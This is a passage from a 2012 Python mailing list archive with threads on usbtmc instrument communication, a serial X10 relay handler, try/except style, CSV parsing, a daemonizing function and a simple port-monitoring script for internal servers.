does not mean that you should. Agreed. However, the mere presence of try/except does not make code unmaintainable, nor is it a strong indication that the code already was. ChrisA From jeandubois314 at gmail.com Thu Dec 6 08:50:01 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Thu, 6 Dec 2012 05:50:01 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> Message-ID: On 5 dec, 23:21, w... at mac.com wrote: > On Dec 5, 2012, at 3:38 PM, Jean Dubois wrote: > > [byte] > > > > >> I note that in your Octave example you are reading characters rather than lines. ?It seems to me that you have two choices here, either do the equivalent in python or dig through the Keithley documentation to find the hex codes thatusbtmcis presumably translating your commands into. ?If you can find those, and if you are interested, I can send you off-line the handler I wrote a couple of years ago that used a dictionary to translate English commands into hex, then assembled those with a checksum and sent the string out to a Keyspan usb to serial converter. > > > If you could show me how to "do the equivalent in Python" I'd > > appreciate that very much > > > best regards, > > jean > > -- > >http://mail.python.org/mailman/listinfo/python-list > > OK - I've excerpted some of the relevant code (the original was much longer and included a lot of error checking). ?Please understand that the comments were for my own use, this was never intended to see the light of day (as it were). ?Also, the structure grew from a situation where I only had to worry about a single controller model - single relay model to one where I had to be able to deal with two controllers and two relay models. ?This was all python 2.7 of course. > > ........................cut on dotted line.......................... > """ > ?serial_port = /dev/tty.KeySerial1, 2, 3, etc. > ?X10_controller = 1132B ?or TI103 > ?Relay_model = UM506 ?or RBn04 > ?Relay_address = B2 > > """ > import serial, string > > def checksum256(st): > ? ? temp = reduce(lambda x,y:x+y, map(ord,st)) % 256 > ? ? if temp < 9: > ? ? ? ? hex_temp = '0'+str(temp) > ? ? ? ? return hex_temp > ? ? hex_temp = hex(temp).upper()[2:] > ? ? return hex_temp > > letr_address_dict = {'A':'\x46', 'B':'\x4E', 'C':'\x42', 'D':'\x4A', 'E':'\x41', 'F':'\x49', 'G':'\x45', 'H':'\x4D', 'I':'\x47', ?'J':'\x4F', ?'K':'\x43', ?'L':'\x4B', ?'M':'\x40', ?'N':'\x48', ?'O':'\x44', ?'P':'\x4C' } > numb_address_dict = {'1':'\x4C', '2':'\x5C', '3':'\x44', '4':'\x54', '5':'\x42', '6':'\x52', '7':'\x4A', '8':'\x5A', '9':'\x4E', '10':'\x5E', '11':'\x46', '12':'\x56', '13':'\x40', '14':'\x50', '15':'\x48', '16':'\x58' } > cmd_dict ? ? = ? ? ?{'SoC':'\x63', 'All_Units_Off':'\x41', 'All_Lights_On':'\x43', 'ON':'\x45', 'OFF':'\x47', 'Dim':'\x49', 'Bright':'\x4B', 'All_Lights_Off':'\x4D', 'Rep_Cnt1':'\x41', 'Rep_Cnt2':'\x42'} > > def relay(port, controller_model, relay_model, relay_address, command): > ? ? if controller_model == '1132B': > ? ? ? ? if relay_model == 'UM506' or relay_model == 'UM7206': > ? ? ? ? ? ? letr = letr_address_dict[relay_address[0]] > ? ? ? ? ? ? numb = numb_address_dict[relay_address[1]] > ? ? ? ? ? ? cmd = cmd_dict[command] > ? ? ? ? ? ? cmd_string = '\x63'+letr+numb+cmd+'\x42' ? ? # Start-of-Command + address_letter + address_number + command + Rep-count > ? ? ? ? ? ? ser = serial.Serial(port, 9600, timeout=1) ? # Set up handle to serial port > ? ? ? ? ? ? stat1 = ser.write('\x02') ? ? ? ? ? ? ? ? ? ?# Write attention to PowerLink, stat = number of bytes written, not really an error return. > ? ? ? ? ? ? ack1 = ser.read(2) ? ? ? ? ? ? ? ? ? ? ? ? ? # Check to see if PowerLink is ready > ? ? ? ? ? ? if ack1 == '\x06\r': ? ? ? ? ? ? ? ? ? ? ? ? # It returns ACK (\x06\r) if it is > ? ? ? ? ? ? ? ? stat2 = ser.write(cmd_string) > ? ? ? ? ? ? ? ? ack2 = ser.read(19) > ? ? ? ? ? ? ? ? if command == 'ON' and ack2 == 'XN\\1\rXNE1\rXNE1\r' : status = 0 > ? ? ? ? ? ? ? ? if command == 'OFF' and ack2 == 'XN\\1\rXNG1\rXNG1\r': status = 0 > ? ? ? ? ? ? ? ? if command == 'ON' and ack2 != 'XN\\1\rXNE1\rXNE1\r' : status = 1 > ? ? ? ? ? ? ? ? if command == 'OFF' and ack2 != 'XN\\1\rXNG1\rXNG1\r': status = 1 > ? ? ? ? ? ? elif ack1 =='\x15': ? ? ? ? ? ? ? ? ? ? ? ? ? # PowerLink sends NAC (hex 15) if it isn't. > ? ? ? ? ? ? ? ? print('Received NAK from X10 Control, is there too much X10 traffic on the line?\n') > ? ? ? ? ? ? else: ? print("Something's wrong with X10 control. Ack returned was: " + ack1 + "\n") > ? ? ? ? ? ? stat3 = ser.close() ? ? ? ? ? ? ? ? ? ? ? ? ?# Close serial port > ? ? ? ? ? ? return(status) > > --------- > some irrelevant stuff was here, snipped > --------- > ? ? elif controller_model == 'TI103': > ? ? ? ? if relay_model == 'UM506' or relay_model == 'UM7206': > ? ? ? ? ? ? letr = relay_address[0] > ? ? ? ? ? ? numb = relay_address[1] > ? ? ? ? ? ? if int(relay_address[1]) <= 9: ? numb = '0'+numb > > # ? ? ? ? ? stat1 = ser.write('$>28001B02B02 BONBONCC#') # Tell TI103 to send "On" to device B2 > > ? ? ? ? ? ? ser = serial.Serial(port, 9600, timeout=0.1) ? # Set up handle to serial port > > ? ? ? ? ? ? cmd_string = '$>28001'+letr+numb+letr+numb+' '+letr+command+letr+command > ? ? ? ? ? ? ck_sum = checksum256(cmd_string) > ? ? ? ? ? ? cmd_string = cmd_string+ck_sum+'#' > > ? ? ? ? ? ? stat2 = ser.write(cmd_string) > ? ? ? ? ? ? ack2 = ser.read(10) > ? ? ? ? ? ? if ack2 != '$<2800!4B#': print('Problem writing command string, controller ACK =', ack2) ?# $<2800!4B# == success > > ? ? ? ? ? ? stat3 = ser.close() ? ? ? ? ? ? ? ? ? ? ? ? ? # Close serial port > # > #------ ? ? Now, check status of UM506 to be sure it took the command -------- > # > ? ? ? ? ? ? ser = serial.Serial(port, 9600, timeout = 0.1) > ? ? ? ? ? ? for i in range(0,3): > ? ? ? ? ? ? ? ? cmd = 'SRQ' ? ? ? ? ? ? ? ? ? ? ? ? ? ? # Status request command > ? ? ? ? ? ? ? ? cmd_string = '$>28001'+letr+numb+letr+numb+' '+letr+cmd+letr+cmd > ? ? ? ? ? ? ? ? ck_sum = checksum256(cmd_string) > ? ? ? ? ? ? ? ? cmd_string = cmd_string+ck_sum+'#' > ? ? ? ? ? ? ? ? stat2 = ser.write(cmd_string) > ? ? ? ? ? ? ? ? ack2 = ser.read(10) > ? ? ? ? ? ? ? ? if ack2 != '$<2800!4B#': print('Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') ?# $<2800!4B# == success > ? ? ? ? ? ? ? ? if ack2 == '$<2800!4B#': break > > ? ? ? ? ? ? cmd_string = '$>2800008C#' ? ? ? ? ? ? ? ? ?# Relay response is in the TI123's buffer, this command will read it back > ? ? ? ? ? ? stat2 = ser.write(cmd_string) > ? ? ? ? ? ? ack2 = ser.read(150) > ? ? ? ? ? ? stat3 = ser.close() > ? ? ? ? ? ? temp = ack2.strip().split(' ') > ? ? ? ? ? ? loc = str(temp).find(command) > ? ? ? ? ? ? if loc >= 0: stat3 = True > ? ? ? ? ? ? return(stat3) > > ? ? ? ? elif relay_model =='RF124': > ? ? ? ? ? ? letr = relay_address[0] > ? ? ? ? ? ? numb = relay_address[1] > ? ? ? ? ? ? if int(relay_address[1]) <= 9: ? numb = '0'+numb > > ? ? ? ? ? ? ser = serial.Serial(port, 9600, timeout=0.1) ?# Again, set up serial port > > ? ? ? ? ? ? for i in range(0,3): > ? ? ? ? ? ? ? ? cmd_string = '$>28001'+letr+numb+letr+numb+' '+letr+command+letr+command > ? ? ? ? ? ? ? ? ck_sum = checksum256(cmd_string) > ? ? ? ? ? ? ? ? cmd_string = cmd_string+ck_sum+'#' > ? ? ? ? ? ? ? ? stat2 = ser.write(cmd_string) > ? ? ? ? ? ? ? ? ack2 = ser.read(10) > ? ? ? ? ? ? ? ? if ack2 == '$<2800!4B#': break > ? ? ? ? ? ? ? ? if ack2 != '$<2800!4B#': print('Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') ?# $<2800!4B# == success > ? ? ? ? ? ? ? ? if ack2 != '$<2800!4B#': log_write(log_file, 'Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') > > ? ? ? ? ? ? stat3 = ser.close() ? ? ? ? ? ? ? ? ? ? ? ? # Close serial port > # > # ? ? ? ? ? Now, check status of RF124 to be sure it took the command > # > ? ? ? ? ? ? ser = serial.Serial(port, 9600, timeout = 0.1) > ? ? ? ? ? ? for i in range(0,3): > ? ? ? ? ? ? ? ? cmd = 'SRQ' ? ? ? ? ? ? ? ? ? ? ? ? ? ? # Status request command > ? ? ? ? ? ? ? ? cmd_string = '$>28001'+letr+numb+letr+numb+' '+letr+cmd+letr+cmd > ? ? ? ? ? ? ? ? ck_sum = checksum256(cmd_string) > ? ? ? ? ? ? ? ? cmd_string = cmd_string+ck_sum+'#' > ? ? ? ? ? ? ? ? stat2 = ser.write(cmd_string) > ? ? ? ? ? ? ? ? ack2 = ser.read(10) > ? ? ? ? ? ? ? ? if ack2 == '$<2800!4B#': break > ? ? ? ? ? ? ? ? if ack2 != '$<2800!4B#': print('Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') ?# $<2800!4B# == success > ? ? ? ? ? ? ? ? if ack2 != '$<2800!4B#': log_write(log_file, 'Problem writing command string, controller ACK =', ack2, 'Trying ', i, 'times.') > > ? ? ? ? ? ? cmd_string = '$>2800008C#' ? ? ? ? ? ? ? ? ?# Relay response is in the TI123's buffer, this command will read it back > ? ? ? ? ? ? stat2 = ser.write(cmd_string) > ? ? ? ? ? ? ack2 = ser.read(150) > ? ? ? ? ? ? stat3 = ser.close() > ? ? ? ? ? ? temp = ack2.strip().split(' ') > ? ? ? ? ? ? loc = str(temp).find(command) > ? ? ? ? ? ? if loc >= 0: stat3 = True > ? ? ? ? ? ? if loc == -1: stat3 = ack2 > ? ? ? ? ? ? return(stat3) It seems there is some misunderstanding here. What I meant with how to "do the equivalent in Python" refered to "reading characters rather than lines". I have written working code myself for another Keithleu which does use RS232 for communication. The problem now is specifically for the new Keithley which doesn't allow RS232 but only USB-communication over usbtmc. So if the "buffer-problem" could be changed by reading characters that would be great. regards, Jean From neilc at norwich.edu Thu Dec 6 08:51:29 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 6 Dec 2012 13:51:29 GMT Subject: Confused compare function :) References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c085e5$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On 2012-12-06, Steven D'Aprano wrote: > total = 0 > for s in list_of_strings: > try: > total += int(s) > except ValueError: > pass # Not a number, ignore it. If it's internal data, perhaps. Of course, that would mean I had the option of *not* creating that stupid list_of_strings. -- Neil Cerutti From rosuav at gmail.com Thu Dec 6 08:58:01 2012 From: rosuav at gmail.com (Chris Angelico) Date: Fri, 7 Dec 2012 00:58:01 +1100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: On Fri, Dec 7, 2012 at 12:33 AM, Thomas Rachel wrote: > Am 06.12.2012 09:49 schrieb Bruno Dupuis: > >> The point is Exceptions are made for error handling, not for normal >> workflow. I hate when i read that for example: >> >> try: >> do_stuff(mydict[k]) >> except KeyError: >> pass > > I would do > > try: > value = mydict[k] > except KeyError: > pass > else: > do_stuff(k) > > Why? Because do_stuff() might raise a KeyError, which should not go > undetected. (Assuming first off that you meant "do_stuff(value)", not "do_stuff(k)", in that last line) That has quite different functionality, though. The original wouldn't have called do_stuff at all if k is not in dict, behaviour which is matched by both his EAFP and his LBLY. But your version, in the event of a KeyError, will call do_stuff with the previous value of value, or raise NameError if there is no such previous value. I don't think that's intentional. The only way around it that I can see is an extra condition or jump - something like: def call_if_present(mydict,k,do_stuff): """Equivalent to do_stuff(mydict[k]) if the key is present; otherwise, does not call do_stuff, and returns None.""" try: value = mydict[k] except KeyError: return return do_stuff(value) It'll propagate any other exceptions from the subscripting (eg TypeError if you give it a list instead of a dict), and any exceptions from do_stuff itself. But it's getting a bit unwieldy. ChrisA From jeandubois314 at gmail.com Thu Dec 6 09:05:09 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Thu, 6 Dec 2012 06:05:09 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> Message-ID: <0d03abca-3498-4612-b941-84c3efc87fe6@b11g2000yqh.googlegroups.com> On 4 dec, 20:55, Terry Reedy wrote: > On 12/4/2012 7:14 AM, Jean Dubois wrote: > > > > > > > > > > > The following test program which tries to communicate with a Keithley > > 2200 programmable power supply usingusbtmcin Python does not work as > > expected. I have connected a 10 ohm resistor to its terminals and I > > apply 0.025A, 0.050A, 0.075A en 0.1A, > > I then measure the current and the voltage en write them in a file > > De data produced looks like this: > > 0.00544643 0.254061; first current value is wrong, voltage value is > > correct > > 0.0250807 0.509289; second current value is wrong, but it corresponds > > to the first, second voltage is correct > > 0.0501099 0.763945; 3rd current value is wrong, but it corresponds to > > the second, 3rd voltage is right > > 0.075099 1.01792; 4th current value is wrong, ?it corresponds to the > > 3rd, 4th voltage is right > > ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?4th correct current value is missing > > > But is should be (numerical inaccuracy taking into account) ?(these data > > were produced by a similar octave-program): > > 0.0248947 0.254047 > > 0.0499105 0.509258 > > 0.0749044 0.764001 > > 0.0998926 1.01828 > > > Here is the python-program: > > #!/usr/bin/python > > import time > > import os > > import sys > > measurementcurr='' > > measurementvolt='' > > timesleepdefault=1 > > filename ='mydata.txt' > > usbkeith = open('/dev/usbtmc1','r+') > > usbkeith.flush() > > usbkeith.write("*IDN?\n") > > #strip blank line: > > identification=usbkeith.readline().strip() > > print 'Found device: ',identification > > usbkeith.write("SYST:REM" + "\n") > > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > > keithdata = open(filename,'w') > > #start first measurement > > usbkeith.write(":SOUR:CURR 0.025\n") > > usbkeith.write(":OUTP:STAT ON\n") > > time.sleep(timesleepdefault) > > usbkeith.write(":MEAS:CURR?\n") > > time.sleep(timesleepdefault) > > measurementcurr=usbkeith.readline() > > print 'Measured current 1: ',measurementcurr > > usbkeith.write("MEAS:VOLT?\n") > > time.sleep(timesleepdefault) > > measurementvolt=usbkeith.readline() > > print 'Measured voltage 1: ',measurementvolt > > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > > [3 near repetitions snipped] > > This sort of repetitious code without even line breaks is painful for me > to read. Python has looping statements for a reason. Replace all four > nearly identical blocks with the following. (If you are not familiar > with built-in enumerate, you should be. Read its entry in the library > manual.) > > for number, current_in in enumerate( > ? ? ?('0.025', '0.050'. '0.075', '0.100'), 1) > ? ?usbkeith.write(":SOUR:CURR %s\n" % current_in) > ? ?... > ? ?print 'Measured current %d: ' % number, measurementcurr > ? ?... > ? ?print 'Measured voltage %d: ' % number, measurementvolt > > Now you can make changes in only one place and easily add more test values. > > > print "Goodbye, data logged in file:" > > print filename > > usbkeith.close() > > keithdata.close() > > > can anyone here what is going wrong and how to get it right? > > No, but if both the python and octave programs used loops, it would be > easier to see if both are doing the same things before, within, and > after the loop. > > -- > Terry Jan Reedy Thank you for you reply. Of course you are right this kind of code is not the normal way to program but as I mentioned in my initial post this is merely a test program, I did avoid using a loop on purpose because timing can be critical in this kind of application and I didn't want to add unnecessary uncertainty in the timing which could be caused by using a loop. The final version will be more like you suggested here above. As Bill stated in another e-mail the real trouble here is some kind of "buffer-problem", according to him it could be caused by the use of the readline()-statements. So if anyone could tell me how to substitute those by some Python commands which read characters instead does the Octave-code I'd appreciate that very much. regards, Jean From vlastimil.brom at gmail.com Thu Dec 6 09:12:48 2012 From: vlastimil.brom at gmail.com (Vlastimil Brom) Date: Thu, 6 Dec 2012 15:12:48 +0100 Subject: Good use for itertools.dropwhile and itertools.takewhile In-Reply-To: References: <26781aa9-b4a2-4308-8db2-5a150da2128f@googlegroups.com> <945048d8-961e-4894-89fc-3b7fd9b7965b@googlegroups.com> Message-ID: 2012/12/6 Neil Cerutti : > On 2012-12-05, Vlastimil Brom wrote: >> ... PARSNIP, certified organic > > I'm not sure on this one. > >> ('PARSNIP', ', certified organic') > > -- > Neil Cerutti > -- Well, I wasn't either, when I noticed this item, but given the specification: "2. Retain punctuation and parentheses" in one of the previous OP's messages, I figured, the punctuation would better be a part of the description rather than the name in this case. regards, vbr From hansmu at xs4all.nl Thu Dec 6 09:21:22 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Thu, 06 Dec 2012 15:21:22 +0100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: <50c0a9e2$0$6963$e4fe514c@news2.news.xs4all.nl> On 6/12/12 14:58:01, Chris Angelico wrote: > On Fri, Dec 7, 2012 at 12:33 AM, Thomas Rachel > > wrote: >> > Am 06.12.2012 09:49 schrieb Bruno Dupuis: >> > >>> >> The point is Exceptions are made for error handling, not for normal >>> >> workflow. I hate when i read that for example: >>> >> >>> >> try: >>> >> do_stuff(mydict[k]) >>> >> except KeyError: >>> >> pass >> > >> > I would do >> > >> > try: >> > value = mydict[k] >> > except KeyError: >> > pass >> > else: >> > do_stuff(k) >> > >> > Why? Because do_stuff() might raise a KeyError, which should not go >> > undetected. > (Assuming first off that you meant "do_stuff(value)", not > "do_stuff(k)", in that last line) > That has quite different functionality, though. The original wouldn't > have called do_stuff at all if k is not in dict, behaviour which is > matched by both his EAFP and his LBLY. But your version, in the event > of a KeyError, will call do_stuff with the previous value of value, or > raise NameError if there is no such previous value. I don't think > that's intentional. Errhm, no. Look again. The do_stuff(value) call is in the "else:" clause, so it will only be done of there was no Exception of any kind, and in that case the assignment to value must have succeeded. -- HansM From tolidtm at gmail.com Thu Dec 6 09:22:59 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Thu, 6 Dec 2012 15:22:59 +0100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: Guys I'm still confusing my script is working better, but not enough. I did a logfile to see which products are not found anymore in the CSV and I found some that are present but python says they are not ?? Here is the product in the CSV: MONIIE2407HDS-B1;MON;II;E2407HDS-B1;E2407HDS-B1;IIYAMA LCD 24" Wide 1920x1080TN Speakers 2ms Black DVI HDMI;133;20;RECTD0.41;0,41;;;;;;;;; Here is what python reports: e2208hds-b2, 721 not found e2273hds-b1, 722 not found e2274hds-b2, 723 not found e2407hds-b1, 724 not found And here is my final code: ( I hope it look better now :) ) def Change_price(): # Changes the price in the DB if the price in the CSV is changed TotalUpdated = 0 # Counter for total updated TotalSKUFound = 0 # Total SKU from the DB coresponds to the one in the CSV TotalSKUinDB = 0 # Total SKU in the DB for row in PRODUCTSDB: TotalSKUinDB +=1 db_sku = row["sku"].lower() db_price = float(row["price"]) found = False try: for x in pricelist: try: csv_price = x[6] csv_price = csv_price.replace(",",".") csv_price = float(csv_price) csv_new_price = csv_price*1.10 csv_sku = x[4].lower() csv_stock = int(x[7]) # I used this as normally I used stock in the condition match = re.search(db_sku, csv_sku) if len(db_sku) != 0 and match: TotalSKUFound +=1 if csv_new_price < db_price and csv_stock > 0: print db_sku, csv_price, db_price, csv_new_price Update_SQL(csv_new_price, db_sku) TotalUpdated += 1 found = True except IndexError: # I have a lot of index error in the CSV (empty fields) and the loop gives "index error" I don't care about them pass except ValueError: pass except TypeError: pass except IndexError: pass if not found: WriteLog(db_sku, db_sku,) TotalNotFound = TotalSKUinDB - TotalSKUFound print "Total SKU in the DB %s" % TotalSKUinDB print "Total SKU coresponds to the DB and CSV %s" % TotalSKUFound print "Total updated: %s" % TotalUpdated print"Total not found with in the distributor: %s" % TotalNotFound From python.list at tim.thechases.com Thu Dec 6 09:27:21 2012 From: python.list at tim.thechases.com (Tim Chase) Date: Thu, 06 Dec 2012 08:27:21 -0600 Subject: Some help in refining this regex for CSV files In-Reply-To: <374d15bd-b20c-431b-b9bb-37ec0b1f4df3@googlegroups.com> References: <374d15bd-b20c-431b-b9bb-37ec0b1f4df3@googlegroups.com> Message-ID: <50C0AB49.1060207@tim.thechases.com> On 12/06/12 01:21, Oltmans wrote: > Hi guys, > > I've to deal with CSVs that look like following > > CSV (with one header and 3 legit rows where each legit row has 3 columns) > ---- > Some info > Date: 12/6/2012 > Author: Some guy > Total records: 100 > > header1, header2, header3 > one, two, three > one, "Python is great, so are other languages, isn't ?", three > one, two, 'some languages, are realyl beautiful\r\n, I really cannot deny \n this \t\t\t fact. \t\t\t\tthis fact alone is amazing' > ---- > > So inside this CSV, there will always be bad lines like the top 4 (they could end up in the beginning, in the middle and even in the last). So above sample, csv has 3 legit lines and a header. I want to read those three lines and here is a regex that I came up with (which clearly isn't working) > > #print line > pattern = r"([^\t]+\t|,+)" > matches = re.match(pattern, line) > > Do you've any better ideas guys? I will really appreciate all help. I agree with Mark that using the "csv" module will likely be your easiest way to go. Just consume the lines you don't want before passing it to the csv.reader(), or parse them and discard invalid items. The first could be done something like import csv f = file("data.csv", "rb") while True: line = f.next().rstrip("\r\n") if not line: break r = csv.reader(f) for row in r: print repr(row) The latter might be done something like f = file("data.csv", "rb") r = csv.reader(f) for row in r: if len(row) != 3: continue print repr(row) However, I also noticed that your example file doesn't seem to fit a true csv file definition, as you seem to switch quoting notations, sometimes using single, sometimes using double quotes. -tkc From rosuav at gmail.com Thu Dec 6 09:28:36 2012 From: rosuav at gmail.com (Chris Angelico) Date: Fri, 7 Dec 2012 01:28:36 +1100 Subject: Confused compare function :) In-Reply-To: <50c0a9e2$0$6963$e4fe514c@news2.news.xs4all.nl> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50c0a9e2$0$6963$e4fe514c@news2.news.xs4all.nl> Message-ID: On Fri, Dec 7, 2012 at 1:21 AM, Hans Mulder wrote: > Errhm, no. Look again. The do_stuff(value) call is in the "else:" > clause, so it will only be done of there was no Exception of any > kind, and in that case the assignment to value must have succeeded. DOH! My bad. Sorry! I somehow didn't see your else, *and* didn't think of that clause when doing up my "fixed" version. Yep, else is precisely what this calls for, and (assuming the change I mentioned) your code does indeed match the original. ChrisA From d at davea.name Thu Dec 6 09:40:51 2012 From: d at davea.name (Dave Angel) Date: Thu, 06 Dec 2012 09:40:51 -0500 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: <50C0AE73.8070509@davea.name> On 12/06/2012 08:58 AM, Chris Angelico wrote: > On Fri, Dec 7, 2012 at 12:33 AM, Thomas Rachel > > wrote: >> Am 06.12.2012 09:49 schrieb Bruno Dupuis: >> >>> The point is Exceptions are made for error handling, not for normal >>> workflow. I hate when i read that for example: >>> >>> try: >>> do_stuff(mydict[k]) >>> except KeyError: >>> pass >> I would do >> >> try: >> value = mydict[k] >> except KeyError: >> pass >> else: >> do_stuff(k) >> >> Why? Because do_stuff() might raise a KeyError, which should not go >> undetected. > (Assuming first off that you meant "do_stuff(value)", not > "do_stuff(k)", in that last line) > > That has quite different functionality, though. The original wouldn't > have called do_stuff at all if k is not in dict, behaviour which is > matched by both his EAFP and his LBLY. But your version, in the event > of a KeyError, will call do_stuff with the previous value of value, or > raise NameError if there is no such previous value. Nope. The else clause will only execute if no exception occurs in the value= line. > I don't think > that's intentional. > > The only way around it that I can see is an extra condition or jump - > something like: > > def call_if_present(mydict,k,do_stuff): > """Equivalent to > do_stuff(mydict[k]) > if the key is present; otherwise, does not call do_stuff, and > returns None.""" > try: > value = mydict[k] > except KeyError: > return > return do_stuff(value) > > It'll propagate any other exceptions from the subscripting (eg > TypeError if you give it a list instead of a dict), and any exceptions > from do_stuff itself. But it's getting a bit unwieldy. > > ChrisA -- DaveA From pjmakey2 at gmail.com Thu Dec 6 09:46:25 2012 From: pjmakey2 at gmail.com (peter) Date: Thu, 06 Dec 2012 11:46:25 -0300 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: <50C0AFC1.4020503@gmail.com> On 12/06/2012 10:58 AM, Chris Angelico wrote: > On Fri, Dec 7, 2012 at 12:33 AM, Thomas Rachel > > wrote: >> Am 06.12.2012 09:49 schrieb Bruno Dupuis: >> >>> The point is Exceptions are made for error handling, not for normal >>> workflow. I hate when i read that for example: >>> >>> try: >>> do_stuff(mydict[k]) >>> except KeyError: >>> pass >> I would do >> >> try: >> value = mydict[k] >> except KeyError: >> pass >> else: >> do_stuff(k) >> >> Why? Because do_stuff() might raise a KeyError, which should not go >> undetected. > (Assuming first off that you meant "do_stuff(value)", not > "do_stuff(k)", in that last line) > > That has quite different functionality, though. The original wouldn't > have called do_stuff at all if k is not in dict, behaviour which is > matched by both his EAFP and his LBLY. But your version, in the event > of a KeyError, will call do_stuff with the previous value of value, or > raise NameError if there is no such previous value. I don't think > that's intentional. > > The only way around it that I can see is an extra condition or jump - > something like: > > def call_if_present(mydict,k,do_stuff): > """Equivalent to > do_stuff(mydict[k]) > if the key is present; otherwise, does not call do_stuff, and > returns None.""" > try: > value = mydict[k] > except KeyError: > return > return do_stuff(value) > > It'll propagate any other exceptions from the subscripting (eg > TypeError if you give it a list instead of a dict), and any exceptions > from do_stuff itself. But it's getting a bit unwieldy. > > ChrisA Ok, is seems like my example code, don't like :). Is ok, it was a poor example. This a more complex example that create a python daemons process. In these case you see the help of try catch. To watch an Operating system problem (80% of the cases), when the fork is created. Or you can initialize a logging (in the catch statement) and watch the log file with tail -f. import sys, os def daemonize (stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): # Perform first fork. try: pid = os.fork( ) if pid > 0: sys.exit(0) # Exit first parent. except OSError, e: sys.stderr.write("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # Decouple from parent environment. os.chdir("/") os.umask(0) os.setsid( ) # Perform second fork. try: pid = os.fork( ) if pid > 0: sys.exit(0) # Exit second parent. except OSError, e: sys.stderr.write("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # The process is now daemonized, redirect standard file descriptors. for f in sys.stdout, sys.stderr: f.flush( ) si = file(stdin, 'r') so = file(stdout, 'a+') se = file(stderr, 'a+', 0) os.dup2(si.fileno( ), sys.stdin.fileno( )) os.dup2(so.fileno( ), sys.stdout.fileno( )) os.dup2(se.fileno( ), sys.stderr.fileno( )) Or imagine that you are manage master-slave's connections (for examples to an ldap databse - or a monitor system tools), you can use try catch. If all the server's are down, maybe you want to be inform about it, you can put a function to send a email to your account In simple works try: catch is 'GOOD'. ipserver = {"192.168.1.13": ["monitoreo", 22], "192.168.1.18": ["usuarios-dns", 22, 53, 139, 389, 445, 631, 3306, 4900, 8765], "192.168.1.72": ["sistemas-ldap", 22, 80, 139, 389, 445, 631, 3306, 4900, 8765], "192.168.1.74": ["terminales", 22,139, 445, 389, 4900], "192.168.1.80": ["backup", 22, 139, 445], "192.168.1.1": ["router", 21, 22, 25, 80, 110, 143, 465, 3128], "192.168.1.90": ["router", 5900] } def portstatus(self, **kwargs): ports = kwargs.get("ports") server = kwargs.get("server") if len(ports) > 0: logging.info("chequeando puertos %s" % server) for a in ports: try: sock = socket() sock.connect((server,a)) sock.close except: logging.info("informando errores en puerto %s" % a) today = str(datetime.today()) subprocess.Popen("for a in $(seq 1 15); do beep; done", shell=True) self.sendreport(ip=server, server=server, cuerpo="El puerto %s esta caido en %s - %s" % (a, server, today), asunto="El puerto %s esta caido en %s - %s" % (a, server, today)) else: logging.info("no hay puertos que chequear") From wrw at mac.com Thu Dec 6 09:50:10 2012 From: wrw at mac.com (wrw at mac.com) Date: Thu, 06 Dec 2012 09:50:10 -0500 Subject: problem with usbtmc-communication In-Reply-To: References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> Message-ID: <721F1F6D-2F5B-4DC6-9CA2-7632F1C9511E@mac.com> On Dec 6, 2012, at 8:50 AM, Jean Dubois wrote: [byte] > > It seems there is some misunderstanding here. What I meant with how > to "do the equivalent in Python" refered to "reading characters > rather than lines". > I have written working code myself for another Keithleu which does use > RS232 for communication. The problem now is specifically for the new > Keithley which doesn't allow RS232 but only USB-communication over > usbtmc. So if the "buffer-problem" could be changed by reading > characters that would be great. > > regards, > Jean > > > -- > http://mail.python.org/mailman/listinfo/python-list Sorry about the misunderstanding (and subsequent waste of bandwidth). However, if you will look at the serial reads and writes in that handler, you will see that it does things like "serial.read(n)" where "n" is an explicit number, the number of bytes to be read from the serial buffer. -Bill From benjaminschnitzler at googlemail.com Thu Dec 6 10:02:10 2012 From: benjaminschnitzler at googlemail.com (Benjamin Schnitzler) Date: Thu, 6 Dec 2012 16:02:10 +0100 Subject: The curses module and licensing Message-ID: <20121206150210.GA5311@mario.dsl> Hello everyone, I am new to this list. I have a question concerning the curses module (I am using python2.7). Which license does this module have? Is it bases completely on the curses library? In the documentation the following is stated: "The curses module provides an interface to the curses library, the de-facto standard for portable advanced terminal handling." But also: "Changed in version 1.6: Added support for the ncurses library and converted to a package." Is it maybe built on both libraries? However, the crucial point is, that I want to build a curses terminal interface for some GPL software project. Can You give me a hint, if that is possible (yes, I know, You are no lawyers) and if and where I have to include licensing informations regarding the license of curses/ncurses ? Thank You Benjamin From jcasale at activenetwerx.com Thu Dec 6 10:32:19 2012 From: jcasale at activenetwerx.com 